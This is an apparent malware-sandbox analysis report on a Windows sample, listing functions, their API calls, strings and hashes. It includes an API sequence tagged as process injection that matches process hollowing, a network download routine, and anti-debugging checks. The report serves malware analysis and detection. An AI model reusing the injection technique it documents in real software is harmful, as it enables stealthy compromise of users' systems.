API String ID: 269201875-611106237
Opcode ID: 281d487da2bb61c23457510c2bd3b4544aa2be80b10df96796662e11b974a315
Instruction ID: e10de683f00683c66f2b40ff100f43b0a774272d7684a508812009893d8ff5ce
Opcode Fuzzy Hash: 281d487da2bb61c23457510c2bd3b4544aa2be80b10df96796662e11b974a315
Instruction Fuzzy Hash: 9F012C72C0025DAFCF42AFE88D019EF7FB6BF08350F144165BA25A21E1E6318A209B91

Function 00602727 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 00602761

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: cfbf2b513e35c1d62e21ddf63b7baaafb57e60d0ea150dd91d9de4dac6bc91e1
Instruction ID: 9ecc46a5f862eb346c37ca1d202689ef73d24e6697ad5ab84ffee3ecfc1137f3
Opcode Fuzzy Hash: cfbf2b513e35c1d62e21ddf63b7baaafb57e60d0ea150dd91d9de4dac6bc91e1
Instruction Fuzzy Hash: 95111575A0420AAFCF09DF58E945EDB7BF9EF88314F0440A9F809AB351D670EA11CB65

Function 0060AA68 Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,0060AE58,?,?,00000000,?,0060AE58,00000000,0000000C), ref: 0060AA85

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1931130c7c7fb08b824463673cc2d96ae0b415809730fc92d9f0884e1e327368
Instruction ID: bf39a23acdd1e0f5d73bcf8fdb37cb4328571c7c9cf0776b64bbe71b375e5f23
Opcode Fuzzy Hash: 1931130c7c7fb08b824463673cc2d96ae0b415809730fc92d9f0884e1e327368
Instruction Fuzzy Hash: 6AD06C3204014DBBDF028F84DC06EDA3BAAFB48714F018010FE1856020C772E871AB90

Non-executed Functions

Function 005F0782 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 167libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 005F0788
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 005F0796
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 005F07A7
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 005F07B8
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 005F07C9
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 005F07DA
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 005F07EB
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 005F07FC
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 005F080D
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 005F081E
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 005F082F
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 005F0840
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 005F0851
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 005F0862
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 005F0873
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 005F0884
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 005F0895
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 005F08A6
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 005F08B7
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 005F08C8
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 005F08D9
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 005F08EA
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 005F08FB
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 005F090C
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 005F091D
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 005F092E
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 005F093F
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 005F0950
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 005F0961
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 005F0972
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 005F0983
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 005F0994
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 005F09A5
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 005F09B6
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 005F09C7
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 005F09D8
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 005F09E9
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 005F09FA
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 005F0A0B
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 005F0A1C
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 005F0A2D

Strings

SetFileInformationByHandle, xrefs: 005F0912
CreateThreadpoolWork, xrefs: 005F09CD
TryAcquireSRWLockExclusive, xrefs: 005F099A
ReleaseSRWLockExclusive, xrefs: 005F09AB
CloseThreadpoolWork, xrefs: 005F09EF
CloseThreadpoolWait, xrefs: 005F088A
GetCurrentPackageId, xrefs: 005F08DF
GetLocaleInfoEx, xrefs: 005F0A11
SetThreadpoolTimer, xrefs: 005F0835
SleepConditionVariableSRW, xrefs: 005F09BC
InitializeCriticalSectionEx, xrefs: 005F07CF
FlsFree, xrefs: 005F079C
FlushProcessWriteBuffers, xrefs: 005F089B
InitOnceExecuteOnce, xrefs: 005F07E0
CreateSemaphoreExW, xrefs: 005F0813
SleepConditionVariableCS, xrefs: 005F0967
CreateThreadpoolWait, xrefs: 005F0868
InitializeSRWLock, xrefs: 005F0978
kernel32.dll, xrefs: 005F0783
CreateSymbolicLinkW, xrefs: 005F08D3
SubmitThreadpoolWork, xrefs: 005F09DE
GetTickCount64, xrefs: 005F08F0
SetThreadpoolWait, xrefs: 005F0879
GetSystemTimePreciseAsFileTime, xrefs: 005F0923
FlsGetValue, xrefs: 005F07AD
LCMapStringEx, xrefs: 005F0A22
CompareStringEx, xrefs: 005F0A00
FreeLibraryWhenCallbackReturns, xrefs: 005F08AC
FlsAlloc, xrefs: 005F0790
CreateSemaphoreW, xrefs: 005F0802
WakeConditionVariable, xrefs: 005F0945
WaitForThreadpoolTimerCallbacks, xrefs: 005F0846
CreateEventExW, xrefs: 005F07F1
InitializeConditionVariable, xrefs: 005F0934
CreateThreadpoolTimer, xrefs: 005F0824
GetFileInformationByHandleEx, xrefs: 005F0901
FlsSetValue, xrefs: 005F07BE
AcquireSRWLockExclusive, xrefs: 005F0989
WakeAllConditionVariable, xrefs: 005F0956
CloseThreadpoolTimer, xrefs: 005F0857
GetCurrentProcessorNumber, xrefs: 005F08BD

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: d0951e696655437e66d960fcda008afbf135f7d6d862480ba3ce9e8aa38d5866
Instruction ID: 52448f559a6761eaeed5811d977ee1eff36647b5e7192769e222bb16cca2ee89
Opcode Fuzzy Hash: d0951e696655437e66d960fcda008afbf135f7d6d862480ba3ce9e8aa38d5866
Instruction Fuzzy Hash: F761BA71DD2720ABEB505FB4AE0D8873EEBEA2D701305291AB212D2161D7F6B491CF91

Function 005DA330 Relevance: 33.8, APIs: 17, Strings: 2, Instructions: 520memorycomCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000000), ref: 005DA352
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 005DA36E
CoUninitialize.OLE32 ref: 005DA378
CoCreateInstance.OLE32(00610EB8,00000000,00000001,00610EC8,?), ref: 005DA3B0
CoUninitialize.OLE32 ref: 005DA3BA
SysAllocString.OLEAUT32(?), ref: 005DA476
SysFreeString.OLEAUT32(00000000), ref: 005DA4A1
CoSetProxyBlanket.OLE32(00000000,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 005DA4C1
CoUninitialize.OLE32 ref: 005DA4D4
SysAllocString.OLEAUT32(?), ref: 005DA6E0
SysAllocString.OLEAUT32(?), ref: 005DA7F4

Strings

r`A, xrefs: 005DA532
dey68, xrefs: 005DA6EE

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: String$AllocUninitialize$Initialize$BlanketCreateFreeInstanceProxySecurity
String ID: dey68$r`A
API String ID: 1334779090-1493988896
Opcode ID: 988ffd54e2ba06b5fcbb81ea0bead3397458c45b1ee0157b58b0a5dbcb0ee0ff
Instruction ID: 3a412e876dc92c190163873edf4a71409e8d6d451329b2bab4547b0722d3e729
Opcode Fuzzy Hash: 988ffd54e2ba06b5fcbb81ea0bead3397458c45b1ee0157b58b0a5dbcb0ee0ff
Instruction Fuzzy Hash: DB12E135A102199BDB15DBB8CC45BDEBB75BF99304F14875AF804B73A1EB31AA81CB40

Function 005D4780 Relevance: 30.3, APIs: 16, Strings: 1, Instructions: 544injectionmemorythreadCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 005D480B
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 005D4826
GetThreadContext.KERNEL32(?,00010002), ref: 005D487C
ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 005D48A7
GetModuleHandleA.KERNEL32(00000000), ref: 005D4934
GetProcAddress.KERNEL32(00000000,00000000), ref: 005D4AF7
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 005D4B34
GetLastError.KERNEL32 ref: 005D4B3D
VirtualAllocEx.KERNEL32(?,00000000,?,00003000,00000040), ref: 005D4B5D
WriteProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 005D4B7F
SetThreadContext.KERNEL32(?,00010002), ref: 005D4D4C
WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 005D4D6B
VirtualProtectEx.KERNEL32(?,?,?,00000002,?), ref: 005D4D88
WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 005D4DCD
VirtualProtectEx.KERNEL32(?,?,?,00000001,?), ref: 005D4E8A
ResumeThread.KERNEL32(?), ref: 005D4EB0

Strings

1/(&I, xrefs: 005D4947

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ProcessVirtual$Memory$AllocThreadWrite$ContextProtect$AddressCreateErrorHandleLastModuleProcReadResume
String ID: 1/(&I
API String ID: 1965314979-1488106507
Opcode ID: ff4b78778783c3fcab4816c396306e6b2bc40780154deab1c40677ea8bd28340
Instruction ID: 01477185b5f9b7d94e300cc0709d9f7b62d25a5d3064553f3382b352ad1d8ebc
Opcode Fuzzy Hash: ff4b78778783c3fcab4816c396306e6b2bc40780154deab1c40677ea8bd28340
Instruction Fuzzy Hash: 67228E31E012199BEB25CFA9DC41BAEBBB5FF55304F14866BE805B7251E731AA81CF40

Function 00607BCD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,~`,00000002,00000000,?,?,?,00607EEB,?,00000000), ref: 00607C66
GetLocaleInfoW.KERNEL32(?,20001004,~`,00000002,00000000,?,?,?,00607EEB,?,00000000), ref: 00607C8F
GetACP.KERNEL32(?,?,00607EEB,?,00000000), ref: 00607CA4

Strings

ACP, xrefs: 00607BEB
OCP, xrefs: 00607C21
~`, xrefs: 00607C80, 00607C9D, 00607C57, 00607C70, 00607C5A, 00607C83

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP$~`
API String ID: 2299586839-3512132812
Opcode ID: 419dd016f39911cbafce85b32e6c63e2d889d6bf70bea55c3155c1ae3619fbd5
Instruction ID: e198e30fba0fc733208f318b7d72a237580b1807bfdb572fcea4ac02cfdc204a
Opcode Fuzzy Hash: 419dd016f39911cbafce85b32e6c63e2d889d6bf70bea55c3155c1ae3619fbd5
Instruction Fuzzy Hash: A621C432E88100AEFB3C8F54C904AD773A7EB54B55B5A8864E90AC7294E732FD41C350

Function 005D5880 Relevance: 9.6, APIs: 6, Instructions: 644networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005D5A8A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,84000100,00000000), ref: 005D5CA2
InternetCloseHandle.WININET(00000000), ref: 005D5CB6
InternetReadFile.WININET(00000000,00000000,00000400,00000000), ref: 005D5E9D
InternetCloseHandle.WININET(?), ref: 005D605D
InternetCloseHandle.WININET(?), ref: 005D6062

Part of subcall function 005D5610: ___std_exception_copy.LIBVCRUNTIME ref: 005D5638

Part of subcall function 005F1930: RaiseException.KERNEL32(E06D7363,00000001,00000003,00000104,00000104,00000000,005EF478,00000104,0061CEB4,?,00000104,?,?), ref: 005F1990

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Internet$CloseHandle$Open$ExceptionFileRaiseRead___std_exception_copy
String ID:
API String ID: 4074124989-0
Opcode ID: 99f8c3ee510295ba1685eab650f4e7991750df7ddfb2818aa7280d8a37ce9ffd
Instruction ID: 0a130618e04a2afca6dde0cd6f58d7234dde70b496af1dec67ef56f0974385f3
Opcode Fuzzy Hash: 99f8c3ee510295ba1685eab650f4e7991750df7ddfb2818aa7280d8a37ce9ffd
Instruction Fuzzy Hash: C4422676D216558BEB12DB78C8457DDFBB4BF66340F14871BE800B7292FB3166828B40

Function 00607DA2 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005FCA90: GetLastError.KERNEL32(005D1920,00000001,005D1924,005F6D0D,00000001,00000000,00000000,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCA95
Part of subcall function 005FCA90: SetLastError.KERNEL32(00000000,00000006,000000FF,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCB33

Part of subcall function 005FCA90: _free.LIBCMT ref: 005FCAF2
Part of subcall function 005FCA90: _free.LIBCMT ref: 005FCB28

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00607EAE
IsValidCodePage.KERNEL32(00000000), ref: 00607EF7
IsValidLocale.KERNEL32(?,00000001), ref: 00607F06
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00607F4E
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00607F6D

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: e3848f9ac8edccbb8c4ff648265b1c2b37106ca31574752e707f4fa290268c2d
Instruction ID: 0ddf8dbbd393436ec4970527767d24f124c8aea0737adc3fe2a605b3e32a6692
Opcode Fuzzy Hash: e3848f9ac8edccbb8c4ff648265b1c2b37106ca31574752e707f4fa290268c2d
Instruction Fuzzy Hash: 2B517071E4520AABDB14DFA5DC45AFB77BABF08700F1448A9A510E72D0E770AD418B61

Function 005DD550 Relevance: 6.5, Strings: 4, Instructions: 1511COMMON

Download Yara Rule

Strings

fSEQXVuIP\Z2A, xrefs: 005DD5D4
qD^N\i^NT_SzA, xrefs: 005DE4CC
fSEQXVuIP\Z2A, xrefs: 005DDD93
,`, xrefs: 005DD9B7

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID:
String ID: ,`$fSEQXVuIP\Z2A$fSEQXVuIP\Z2A$qD^N\i^NT_SzA
API String ID: 0-606821963
Opcode ID: 155e98ff5c40fb49d328f13856e6c317f078362def765c14258667d8b10518e3
Instruction ID: b77ce1b5cc414c20b16adaf9424b4c01b504093149e292388f9322a9288d48b4
Opcode Fuzzy Hash: 155e98ff5c40fb49d328f13856e6c317f078362def765c14258667d8b10518e3
Instruction Fuzzy Hash: EED23735D212598AEB06DB78C8467DDF775BFAA344F14C71BE801B6662FB31A6C28700

Function 005F1434 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 005F1440
IsDebuggerPresent.KERNEL32 ref: 005F150C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 005F152C
UnhandledExceptionFilter.KERNEL32(?), ref: 005F1536

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 9b051ea31137a2d3167818438b2e61acd42ea8b455ffca5c14ed3112d7e62c95
Instruction ID: ed0b1c502b34d231f6343f30a585bfa7e6214075b33ffa55f7a7b0d98e70f584
Opcode Fuzzy Hash: 9b051ea31137a2d3167818438b2e61acd42ea8b455ffca5c14ed3112d7e62c95
Instruction Fuzzy Hash: 593129B5D4121DDBDB10DFA4D9897DDBBB8BF48300F1040EAE50DAB250EB759A848F45

Function 00607854 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 005FCA90: GetLastError.KERNEL32(005D1920,00000001,005D1924,005F6D0D,00000001,00000000,00000000,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCA95
Part of subcall function 005FCA90: SetLastError.KERNEL32(00000000,00000006,000000FF,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCB33

Part of subcall function 005FCA90: _free.LIBCMT ref: 005FCAF2
Part of subcall function 005FCA90: _free.LIBCMT ref: 005FCB28

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006078A8
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006078F2
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006079B8

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: InfoLocale$ErrorLast_free
String ID:
API String ID: 3140898709-0
Opcode ID: 085131a87800c626ca558845b4436aa4a17aafe70ac9487b4df0308e60ef0376
Instruction ID: 8196806198a24a32b3516e9955a622559d4b303d13306a7f54d914b770c7e518
Opcode Fuzzy Hash: 085131a87800c626ca558845b4436aa4a17aafe70ac9487b4df0308e60ef0376
Instruction Fuzzy Hash: ED618171E841179FDB6C9F24CD82BBB77AAEF04300F1441A9E905C62C5E774E995CB50

Function 005F4C93 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 005F4D8B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 005F4D95
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 005F4DA2

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: f233aaba696ec19a2cde9d94a9a166940be12f1e2d0f909191e11042a77e2741
Instruction ID: a5df6ce42a2dbc2e9d6b7e833ecab0f2b163db9f04108036a77876a7f10776f8
Opcode Fuzzy Hash: f233aaba696ec19a2cde9d94a9a166940be12f1e2d0f909191e11042a77e2741
Instruction Fuzzy Hash: 0231D27494122D9BCB21DF28D8887DDBBB8BF48310F5045EAE90CA7291EB349F818F44

Function 005FD43D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,005FB47B,?,20001004,00000000,00000002,?,?,005FAA88), ref: 005FD471

Strings

@0], xrefs: 005FD45C

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: InfoLocale
String ID: @0]
API String ID: 2299586839-1162301288
Opcode ID: 7679060122ec908f0fac60df62789b3ed6b6a0db993c6acae307c89f1a723f7c
Instruction ID: 4b3e11cc8015ef2f6e4d0d598913e16490276fec77948d402ef7dc0039dbe439
Opcode Fuzzy Hash: 7679060122ec908f0fac60df62789b3ed6b6a0db993c6acae307c89f1a723f7c
Instruction Fuzzy Hash: 59E04F3154012CBBCF122F60DC08EBE7E3BFF44750F044810FE4666161CB769A20AAA4

Function 005F8B60 Relevance: 3.4, APIs: 2, Instructions: 450COMMON
